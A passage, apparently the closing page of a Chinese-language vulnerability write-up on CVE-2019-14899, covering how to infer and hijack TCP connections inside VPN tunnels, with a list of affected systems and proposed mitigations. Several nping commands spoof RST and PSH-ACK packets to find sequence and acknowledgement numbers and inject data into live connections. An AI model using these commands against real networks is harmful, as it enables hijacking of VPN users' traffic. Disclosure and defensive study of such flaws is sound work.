CVE-2019-14899：探测并劫持VPN隧道TCP连接

下面我们可以继续使用相同的四元组来测试，观察实验结果。
使用前面的四元组，我们来发送序列号在50,000范围内的RST，直到触发challenge ACK：
nping --tcp --flags R --source-ip 64.106.46.56 -g 80 --dest-ip 10.8.0.8 -p 40404 --rate 10 -c 10 -e ap0 --dest-mac 08:00:27:9c:53:12 --seq [SEQ RANGE]
如果数据包落在窗口内，受害者就会响应challenge ACK（每秒最多响应2个）。与Android不同，这些报文仍然经过加密，来自于虚拟接口，但我们仍然可以根据报文的大小来推测报文的内容。加密的challenge ACK报文大小会大于加密的RST报文。我们可以在受害者主机上运行tcmpdump，查看正确的序列号及确认号来加快测试过程。
找到窗口内序列号后，我们可以使用该序列号伪造空的PSH-ACK，将确认号可用空间切分成8份来推测确认号，从而找到窗口内确认号。在大多数情况下，其中7份会触发challenge ACK，这样我们就能快速找到落在确认号窗口中的编号值。我们对不能响应challenge ACK的编号空间比较感兴趣。我们可以使用如下命令，通过正确的序列号以及位于正确范围内的确认号来观测实验结果：
nping --tcp --flags PA --source-ip 64.106.46.56 -g 80 --dest-ip 10.8.0.8 -p 40404 --rate 10 -c 10 -e ap0 --dest-mac 08:00:27:9c:53:12 -seq 12345678 --ack [ACK RANGE]
最后，我们可以使用窗口内序列号及确认号来伪造空的PSH-ACK，当触发另一个challenge ACK时就将序列号减1。此时序列号比下一个预期的序列号要小1，然后我们就可以将任意数据注入活动的TCP连接中。
测试命令如下：
nping --tcp --flags PA --source-ip 64.106.46.56 -g 80 --dest-ip 10.8.0.8 -p 40404 --rate 10 -c 10 -e ap0 --dest-mac 08:00:27:9c:53:12 -seq [EXACT] --ack [IN-WINDOW] --data-string “hello,world.”
 
0x02 受影响系统
经过测试，我们发现有些操作系统受该攻击影响，如下所示：
Ubuntu 19.10 (systemd)
Fedora (systemd)
Debian 10.2 (systemd)
Arch 2019.05 (systemd)
Manjaro 18.1.1 (systemd)
Devuan (sysV init)
MX Linux 19 (Mepis+antiX)
Void Linux (runit)
Slackware 14.2 (rc.d)
Deepin (rc.d)
FreeBSD (rc.d)
OpenBSD (rc.d)
该列表并不完整，我们将继续测试其他发行版。根据上面列表，我们知道漏洞可以影响某些init系统，而不单单局限于systemd。
 
0x03 系统差异
在其他操作系统上，攻击效果略有不同。
Android：在攻击第一阶段，如果未经请求的SYN-ACK使用的端口正确，那么Android会响应未经加密的RST，否则响应ICMP报文。在攻击第二阶段，Android会针对正确四元组响应RST。
MacOS/iOS：攻击第一阶段无法正常进行，但我们可以使用Apple主机上的开放端口来推测虚拟IP地址。这里我们使用的是5223，该端口用于iCloud、iMessage、FaceTime、Game Center、Photo Stream以及推送通知等。
我们知道手机将通过5223端口与某台推送服务器通信，在macOS上，我们观测到受害者用来连接VPN服务器的端口与该端口比较接近（在我们测试环境中，这两个端口相差10以内）。
nping --tcp --flags SA --source-ip 17.57.144.[84-87] -g 5223 --dest-ip 10.8.0.8 -p [X] --rate 3 -c 3 -e ap0 --dest-mac 08:00:27:9c:53:12
对于iOS设备，我们无法通过这种方式选择客户端的源端口，但可以选择~48000-50000范围内的端口（在iOS 13.1测试系统中，端口范围为48162-49555）。
FreeBSD：前2个阶段与Linux系统相同，然而在最后一个阶段我们不需要使用ACK号，因此可以直接略过该阶段。
OpenBSD：在攻击第一阶段，如果伪造的SYN报文匹配正确的虚拟IP，那么OpenBSD就会响应未加密的RST报文，否则响应未加密的NTP报文或者完全不响应。在第二阶段，响应报文经过加密，但我们可以通过报文的大小来判断哪些报文未challenge ACK（与Linux类似）。我们可以发送序列号正确的RST来重置连接。
 
0x04 缓解措施
1、启用反向路径过滤
潜在问题：移动设备上的异步路由会变得不可靠。此外，我们不确定这种方案是否行之有效，因为使用其他网络栈的其他操作系统貌似会受该漏洞影响。此外，即使反向路径过滤处于“strict”模式，这种攻击方式的前两个阶段也可以完成，因此AP可以推测活动连接情况。我们相信攻击者可以完成整个攻击，但还没有完成进行后续研究。
2、启用Bogon过滤
潜在问题：本地网络及VPN使用的本地网络地址可能受影响，此外也会影响包括伊朗在内的某些国家，这些国家会在公共空间中使用保留地址。
3、加密报文大小及时间
由于攻击者可以通过报文的大小及数量来绕过VPN服务提供的加密机制，因此我们可能可以在加密报文中添加某种填充数据，使报文具备相同大小。此外，由于我们可以使用challenge ACK的限制来判断加密报文是否为challenge ACK，因此可以考虑让主机在处理时间耗尽后响应大小相同的报文，阻止攻击者推测出正确信息。
 

上一页  [1] [2] 

 3/3   首页 上一页 1 2 3